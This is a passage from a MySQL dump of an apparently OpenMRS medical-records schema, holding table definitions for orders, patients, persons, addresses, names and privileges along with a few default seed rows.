`order_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `order_type_class_map` -- DROP TABLE IF EXISTS `order_type_class_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `order_type_class_map` ( `order_type_id` int(11) NOT NULL, `concept_class_id` int(11) NOT NULL, PRIMARY KEY (`order_type_id`,`concept_class_id`), UNIQUE KEY `concept_class_id` (`concept_class_id`), CONSTRAINT `fk_order_type_class_map_concept_class_concept_class_id` FOREIGN KEY (`concept_class_id`) REFERENCES `concept_class` (`concept_class_id`), CONSTRAINT `fk_order_type_order_type_id` FOREIGN KEY (`order_type_id`) REFERENCES `order_type` (`order_type_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `order_type_class_map` -- LOCK TABLES `order_type_class_map` WRITE; /*!40000 ALTER TABLE `order_type_class_map` DISABLE KEYS */; /*!40000 ALTER TABLE `order_type_class_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `orders` -- DROP TABLE IF EXISTS `orders`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `orders` ( `order_id` int(11) NOT NULL AUTO_INCREMENT, `order_type_id` int(11) NOT NULL DEFAULT '0', `concept_id` int(11) NOT NULL DEFAULT '0', `orderer` int(11) NOT NULL, `encounter_id` int(11) NOT NULL, `instructions` text, `date_activated` datetime DEFAULT NULL, `auto_expire_date` datetime DEFAULT NULL, `date_stopped` datetime DEFAULT NULL, `order_reason` int(11) DEFAULT NULL, `order_reason_non_coded` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `patient_id` int(11) NOT NULL, `accession_number` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `urgency` varchar(50) NOT NULL DEFAULT 'ROUTINE', `order_number` varchar(50) NOT NULL, `previous_order_id` int(11) DEFAULT NULL, `order_action` varchar(50) NOT NULL, `comment_to_fulfiller` varchar(1024) DEFAULT NULL, `care_setting` int(11) NOT NULL, `scheduled_date` datetime DEFAULT NULL, PRIMARY KEY (`order_id`), UNIQUE KEY `orders_uuid_index` (`uuid`), KEY `order_creator` (`creator`), KEY `orders_in_encounter` (`encounter_id`), KEY `type_of_order` (`order_type_id`), KEY `order_for_patient` (`patient_id`), KEY `user_who_voided_order` (`voided_by`), KEY `previous_order_id_order_id` (`previous_order_id`), KEY `orders_care_setting` (`care_setting`), KEY `discontinued_because` (`order_reason`), KEY `fk_orderer_provider` (`orderer`), CONSTRAINT `discontinued_because` FOREIGN KEY (`order_reason`) REFERENCES `concept` (`concept_id`), CONSTRAINT `fk_orderer_provider` FOREIGN KEY (`orderer`) REFERENCES `provider` (`provider_id`), CONSTRAINT `order_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `order_for_patient` FOREIGN KEY (`patient_id`) REFERENCES `patient` (`patient_id`) ON UPDATE CASCADE, CONSTRAINT `orders_care_setting` FOREIGN KEY (`care_setting`) REFERENCES `care_setting` (`care_setting_id`), CONSTRAINT `orders_in_encounter` FOREIGN KEY (`encounter_id`) REFERENCES `encounter` (`encounter_id`), CONSTRAINT `previous_order_id_order_id` FOREIGN KEY (`previous_order_id`) REFERENCES `orders` (`order_id`), CONSTRAINT `type_of_order` FOREIGN KEY (`order_type_id`) REFERENCES `order_type` (`order_type_id`), CONSTRAINT `user_who_voided_order` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `orders` -- LOCK TABLES `orders` WRITE; /*!40000 ALTER TABLE `orders` DISABLE KEYS */; /*!40000 ALTER TABLE `orders` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `patient` -- DROP TABLE IF EXISTS `patient`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `patient` ( `patient_id` int(11) NOT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`patient_id`), KEY `user_who_changed_pat` (`changed_by`), KEY `user_who_created_patient` (`creator`), KEY `user_who_voided_patient` (`voided_by`), CONSTRAINT `person_id_for_patient` FOREIGN KEY (`patient_id`) REFERENCES `person` (`person_id`) ON UPDATE CASCADE, CONSTRAINT `user_who_changed_pat` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_created_patient` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_patient` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `patient` -- LOCK TABLES `patient` WRITE; /*!40000 ALTER TABLE `patient` DISABLE KEYS */; /*!40000 ALTER TABLE `patient` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `patient_identifier` -- DROP TABLE IF EXISTS `patient_identifier`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `patient_identifier` ( `patient_identifier_id` int(11) NOT NULL AUTO_INCREMENT, `patient_id` int(11) NOT NULL DEFAULT '0', `identifier` varchar(50) NOT NULL DEFAULT '', `identifier_type` int(11) NOT NULL DEFAULT '0', `preferred` tinyint(1) NOT NULL DEFAULT '0', `location_id` int(11) DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `date_changed` datetime DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`patient_identifier_id`), UNIQUE KEY `patient_identifier_uuid_index` (`uuid`), KEY `identifier_name` (`identifier`), KEY `idx_patient_identifier_patient` (`patient_id`), KEY `identifier_creator` (`creator`), KEY `defines_identifier_type` (`identifier_type`), KEY `patient_identifier_ibfk_2` (`location_id`), KEY `identifier_voider` (`voided_by`), KEY `patient_identifier_changed_by` (`changed_by`), CONSTRAINT `defines_identifier_type` FOREIGN KEY (`identifier_type`) REFERENCES `patient_identifier_type` (`patient_identifier_type_id`), CONSTRAINT `identifier_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `identifier_voider` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `patient_identifier_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `patient_identifier_ibfk_2` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `patient_identifier` -- LOCK TABLES `patient_identifier` WRITE; /*!40000 ALTER TABLE `patient_identifier` DISABLE KEYS */; /*!40000 ALTER TABLE `patient_identifier` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `patient_identifier_type` -- DROP TABLE IF EXISTS `patient_identifier_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `patient_identifier_type` ( `patient_identifier_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) NOT NULL DEFAULT '', `description` text, `format` varchar(255) DEFAULT NULL, `check_digit` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `required` tinyint(1) NOT NULL DEFAULT '0', `format_description` varchar(255) DEFAULT NULL, `validator` varchar(200) DEFAULT NULL, `location_behavior` varchar(50) DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `uniqueness_behavior` varchar(50) DEFAULT NULL, PRIMARY KEY (`patient_identifier_type_id`), UNIQUE KEY `patient_identifier_type_uuid_index` (`uuid`), KEY `patient_identifier_type_retired_status` (`retired`), KEY `type_creator` (`creator`), KEY `user_who_retired_patient_identifier_type` (`retired_by`), CONSTRAINT `type_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_patient_identifier_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `patient_identifier_type` -- LOCK TABLES `patient_identifier_type` WRITE; /*!40000 ALTER TABLE `patient_identifier_type` DISABLE KEYS */; INSERT INTO `patient_identifier_type` VALUES (1,'OpenMRS Identification Number','Unique number used in OpenMRS','',1,1,'2005-09-22 00:00:00',0,NULL,'org.openmrs.patient.impl.LuhnIdentifierValidator',NULL,0,NULL,NULL,NULL,'8d793bee-c2cc-11de-8d13-0010c6dffd0f',NULL),(2,'Old Identification Number','Number given out prior to the OpenMRS system (No check digit)','',0,1,'2005-09-22 00:00:00',0,NULL,NULL,NULL,0,NULL,NULL,NULL,'8d79403a-c2cc-11de-8d13-0010c6dffd0f',NULL); /*!40000 ALTER TABLE `patient_identifier_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `patient_program` -- DROP TABLE IF EXISTS `patient_program`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `patient_program` ( `patient_program_id` int(11) NOT NULL AUTO_INCREMENT, `patient_id` int(11) NOT NULL DEFAULT '0', `program_id` int(11) NOT NULL DEFAULT '0', `date_enrolled` datetime DEFAULT NULL, `date_completed` datetime DEFAULT NULL, `location_id` int(11) DEFAULT NULL, `outcome_concept_id` int(11) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`patient_program_id`), UNIQUE KEY `patient_program_uuid_index` (`uuid`), KEY `user_who_changed` (`changed_by`), KEY `patient_program_creator` (`creator`), KEY `patient_in_program` (`patient_id`), KEY `program_for_patient` (`program_id`), KEY `user_who_voided_patient_program` (`voided_by`), KEY `patient_program_location_id` (`location_id`), KEY `patient_program_outcome_concept_id_fk` (`outcome_concept_id`), CONSTRAINT `patient_in_program` FOREIGN KEY (`patient_id`) REFERENCES `patient` (`patient_id`) ON UPDATE CASCADE, CONSTRAINT `patient_program_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `patient_program_location_id` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`), CONSTRAINT `patient_program_outcome_concept_id_fk` FOREIGN KEY (`outcome_concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `program_for_patient` FOREIGN KEY (`program_id`) REFERENCES `program` (`program_id`), CONSTRAINT `user_who_changed` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_patient_program` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `patient_program` -- LOCK TABLES `patient_program` WRITE; /*!40000 ALTER TABLE `patient_program` DISABLE KEYS */; /*!40000 ALTER TABLE `patient_program` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `patient_state` -- DROP TABLE IF EXISTS `patient_state`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `patient_state` ( `patient_state_id` int(11) NOT NULL AUTO_INCREMENT, `patient_program_id` int(11) NOT NULL DEFAULT '0', `state` int(11) NOT NULL DEFAULT '0', `start_date` date DEFAULT NULL, `end_date` date DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`patient_state_id`), UNIQUE KEY `patient_state_uuid_index` (`uuid`), KEY `patient_state_changer` (`changed_by`), KEY `patient_state_creator` (`creator`), KEY `patient_program_for_state` (`patient_program_id`), KEY `state_for_patient` (`state`), KEY `patient_state_voider` (`voided_by`), CONSTRAINT `patient_program_for_state` FOREIGN KEY (`patient_program_id`) REFERENCES `patient_program` (`patient_program_id`), CONSTRAINT `patient_state_changer` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `patient_state_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `patient_state_voider` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `state_for_patient` FOREIGN KEY (`state`) REFERENCES `program_workflow_state` (`program_workflow_state_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `patient_state` -- LOCK TABLES `patient_state` WRITE; /*!40000 ALTER TABLE `patient_state` DISABLE KEYS */; /*!40000 ALTER TABLE `patient_state` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `person` -- DROP TABLE IF EXISTS `person`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `person` ( `person_id` int(11) NOT NULL AUTO_INCREMENT, `gender` varchar(50) DEFAULT '', `birthdate` date DEFAULT NULL, `birthdate_estimated` tinyint(1) NOT NULL DEFAULT '0', `dead` tinyint(1) NOT NULL DEFAULT '0', `death_date` datetime DEFAULT NULL, `cause_of_death` int(11) DEFAULT NULL, `creator` int(11) DEFAULT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `deathdate_estimated` tinyint(1) NOT NULL DEFAULT '0', `birthtime` time DEFAULT NULL, PRIMARY KEY (`person_id`), UNIQUE KEY `person_uuid_index` (`uuid`), KEY `person_birthdate` (`birthdate`), KEY `person_death_date` (`death_date`), KEY `person_died_because` (`cause_of_death`), KEY `user_who_changed_person` (`changed_by`), KEY `user_who_created_person` (`creator`), KEY `user_who_voided_person` (`voided_by`), CONSTRAINT `person_died_because` FOREIGN KEY (`cause_of_death`) REFERENCES `concept` (`concept_id`), CONSTRAINT `user_who_changed_person` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_created_person` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_person` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `person` -- LOCK TABLES `person` WRITE; /*!40000 ALTER TABLE `person` DISABLE KEYS */; INSERT INTO `person` VALUES (1,'M',NULL,0,0,NULL,NULL,NULL,'2005-01-01 00:00:00',NULL,NULL,0,NULL,NULL,NULL,'91bbb6f6-9c14-11e6-aeb3-0242ac110009',0,NULL); /*!40000 ALTER TABLE `person` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `person_address` -- DROP TABLE IF EXISTS `person_address`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `person_address` ( `person_address_id` int(11) NOT NULL AUTO_INCREMENT, `person_id` int(11) DEFAULT NULL, `preferred` tinyint(1) NOT NULL DEFAULT '0', `address1` varchar(255) DEFAULT NULL, `address2` varchar(255) DEFAULT NULL, `city_village` varchar(255) DEFAULT NULL, `state_province` varchar(255) DEFAULT NULL, `postal_code` varchar(50) DEFAULT NULL, `country` varchar(50) DEFAULT NULL, `latitude` varchar(50) DEFAULT NULL, `longitude` varchar(50) DEFAULT NULL, `start_date` datetime DEFAULT NULL, `end_date` datetime DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `county_district` varchar(255) DEFAULT NULL, `address3` varchar(255) DEFAULT NULL, `address4` varchar(255) DEFAULT NULL, `address5` varchar(255) DEFAULT NULL, `address6` varchar(255) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`person_address_id`), UNIQUE KEY `person_address_uuid_index` (`uuid`), KEY `patient_address_creator` (`creator`), KEY `address_for_person` (`person_id`), KEY `patient_address_void` (`voided_by`), KEY `person_address_changed_by` (`changed_by`), CONSTRAINT `address_for_person` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`) ON UPDATE CASCADE, CONSTRAINT `patient_address_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `patient_address_void` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `person_address_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `person_address` -- LOCK TABLES `person_address` WRITE; /*!40000 ALTER TABLE `person_address` DISABLE KEYS */; /*!40000 ALTER TABLE `person_address` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `person_attribute` -- DROP TABLE IF EXISTS `person_attribute`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `person_attribute` ( `person_attribute_id` int(11) NOT NULL AUTO_INCREMENT, `person_id` int(11) NOT NULL DEFAULT '0', `value` varchar(50) NOT NULL DEFAULT '', `person_attribute_type_id` int(11) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`person_attribute_id`), UNIQUE KEY `person_attribute_uuid_index` (`uuid`), KEY `attribute_changer` (`changed_by`), KEY `attribute_creator` (`creator`), KEY `defines_attribute_type` (`person_attribute_type_id`), KEY `identifies_person` (`person_id`), KEY `attribute_voider` (`voided_by`), CONSTRAINT `attribute_changer` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `attribute_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `attribute_voider` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `defines_attribute_type` FOREIGN KEY (`person_attribute_type_id`) REFERENCES `person_attribute_type` (`person_attribute_type_id`), CONSTRAINT `identifies_person` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `person_attribute` -- LOCK TABLES `person_attribute` WRITE; /*!40000 ALTER TABLE `person_attribute` DISABLE KEYS */; /*!40000 ALTER TABLE `person_attribute` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `person_attribute_type` -- DROP TABLE IF EXISTS `person_attribute_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `person_attribute_type` ( `person_attribute_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) NOT NULL DEFAULT '', `description` text, `format` varchar(50) DEFAULT NULL, `foreign_key` int(11) DEFAULT NULL, `searchable` tinyint(1) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `edit_privilege` varchar(255) DEFAULT NULL, `sort_weight` double DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`person_attribute_type_id`), UNIQUE KEY `person_attribute_type_uuid_index` (`uuid`), KEY `attribute_is_searchable` (`searchable`), KEY `name_of_attribute` (`name`), KEY `person_attribute_type_retired_status` (`retired`), KEY `attribute_type_changer` (`changed_by`), KEY `attribute_type_creator` (`creator`), KEY `user_who_retired_person_attribute_type` (`retired_by`), KEY `privilege_which_can_edit` (`edit_privilege`), CONSTRAINT `attribute_type_changer` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `attribute_type_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `privilege_which_can_edit` FOREIGN KEY (`edit_privilege`) REFERENCES `privilege` (`privilege`), CONSTRAINT `user_who_retired_person_attribute_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `person_attribute_type` -- LOCK TABLES `person_attribute_type` WRITE; /*!40000 ALTER TABLE `person_attribute_type` DISABLE KEYS */; INSERT INTO `person_attribute_type` VALUES (1,'Race','Group of persons related by common descent or heredity','java.lang.String',0,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,6,'8d871386-c2cc-11de-8d13-0010c6dffd0f'),(2,'Birthplace','Location of persons birth','java.lang.String',0,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,0,'8d8718c2-c2cc-11de-8d13-0010c6dffd0f'),(3,'Citizenship','Country of which this person is a member','java.lang.String',0,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,1,'8d871afc-c2cc-11de-8d13-0010c6dffd0f'),(4,'Mother\'s Name','First or last name of this person\'s mother','java.lang.String',0,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,5,'8d871d18-c2cc-11de-8d13-0010c6dffd0f'),(5,'Civil Status','Marriage status of this person','org.openmrs.Concept',1054,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,2,'8d871f2a-c2cc-11de-8d13-0010c6dffd0f'),(6,'Health District','District/region in which this patient\' home health center resides','java.lang.String',0,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,4,'8d872150-c2cc-11de-8d13-0010c6dffd0f'),(7,'Health Center','Specific Location of this person\'s home health center.','org.openmrs.Location',0,0,1,'2007-05-04 00:00:00',NULL,NULL,0,NULL,NULL,NULL,NULL,3,'8d87236c-c2cc-11de-8d13-0010c6dffd0f'); /*!40000 ALTER TABLE `person_attribute_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `person_merge_log` -- DROP TABLE IF EXISTS `person_merge_log`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `person_merge_log` ( `person_merge_log_id` int(11) NOT NULL AUTO_INCREMENT, `winner_person_id` int(11) NOT NULL, `loser_person_id` int(11) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `merged_data` longtext NOT NULL, `uuid` char(38) NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`person_merge_log_id`), UNIQUE KEY `person_merge_log_unique_uuid` (`uuid`), KEY `person_merge_log_winner` (`winner_person_id`), KEY `person_merge_log_loser` (`loser_person_id`), KEY `person_merge_log_creator` (`creator`), KEY `person_merge_log_changed_by_fk` (`changed_by`), KEY `person_merge_log_voided_by_fk` (`voided_by`), CONSTRAINT `person_merge_log_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `person_merge_log_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `person_merge_log_loser` FOREIGN KEY (`loser_person_id`) REFERENCES `person` (`person_id`), CONSTRAINT `person_merge_log_voided_by_fk` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `person_merge_log_winner` FOREIGN KEY (`winner_person_id`) REFERENCES `person` (`person_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `person_merge_log` -- LOCK TABLES `person_merge_log` WRITE; /*!40000 ALTER TABLE `person_merge_log` DISABLE KEYS */; /*!40000 ALTER TABLE `person_merge_log` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `person_name` -- DROP TABLE IF EXISTS `person_name`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `person_name` ( `person_name_id` int(11) NOT NULL AUTO_INCREMENT, `preferred` tinyint(1) NOT NULL DEFAULT '0', `person_id` int(11) NOT NULL, `prefix` varchar(50) DEFAULT NULL, `given_name` varchar(50) DEFAULT NULL, `middle_name` varchar(50) DEFAULT NULL, `family_name_prefix` varchar(50) DEFAULT NULL, `family_name` varchar(50) DEFAULT NULL, `family_name2` varchar(50) DEFAULT NULL, `family_name_suffix` varchar(50) DEFAULT NULL, `degree` varchar(50) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`person_name_id`), UNIQUE KEY `person_name_uuid_index` (`uuid`), KEY `first_name` (`given_name`), KEY `last_name` (`family_name`), KEY `middle_name` (`middle_name`), KEY `family_name2` (`family_name2`), KEY `user_who_made_name` (`creator`), KEY `name_for_person` (`person_id`), KEY `user_who_voided_name` (`voided_by`), CONSTRAINT `name_for_person` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`) ON UPDATE CASCADE, CONSTRAINT `user_who_made_name` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_name` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `person_name` -- LOCK TABLES `person_name` WRITE; /*!40000 ALTER TABLE `person_name` DISABLE KEYS */; INSERT INTO `person_name` VALUES (1,1,1,NULL,'Super','',NULL,'User',NULL,NULL,NULL,1,'2005-01-01 00:00:00',0,NULL,NULL,NULL,NULL,NULL,'91caabff-9c14-11e6-aeb3-0242ac110009'); /*!40000 ALTER TABLE `person_name` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `privilege` -- DROP TABLE IF EXISTS `privilege`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `privilege` ( `privilege` varchar(255) NOT NULL, `description` text, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`privilege`), UNIQUE KEY `privilege_uuid_index` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `privilege` -- LOCK TABLES `privilege` WRITE; /*!40000 ALTER TABLE `privilege` DISABLE KEYS */; INSERT INTO `privilege` VALUES ('Add Allergies','Add allergies','a87ce3c4-009d-4a30-8748-e5b20d91c009'),('Add Cohorts','Able to add a cohort to the system','91cf3610-9c14-11e6-aeb3-0242ac110009'),('Add Concept Proposals','Able to add concept proposals to the system','91cf3983-9c14-11e6-aeb3-0242ac110009'),('Add Encounters','Able to add patient encounters','91cf3a9a-9c14-11e6-aeb3-0242ac110009'),('Add HL7 Inbound Archive','Able to add an HL7 archive item','8b284df9-317e-4d4c-9889-a34b0f597f47'),('Add HL7 Inbound Exception','Able to add an HL7 error 